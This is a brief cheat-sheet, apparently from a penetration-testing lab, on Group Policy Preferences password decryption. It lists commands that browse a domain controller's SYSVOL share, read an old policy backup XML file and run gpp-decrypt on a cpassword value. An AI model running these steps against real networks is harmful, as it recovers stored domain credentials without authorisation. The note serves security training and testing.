GPP Password Decryption
Locate Group Policy XML files
ls \\dc1.corp.com\sysvol\corp.com\
ls \\dc1.corp.com\sysvol\corp.com\Policies\
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
Decrypt the cpassword value
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"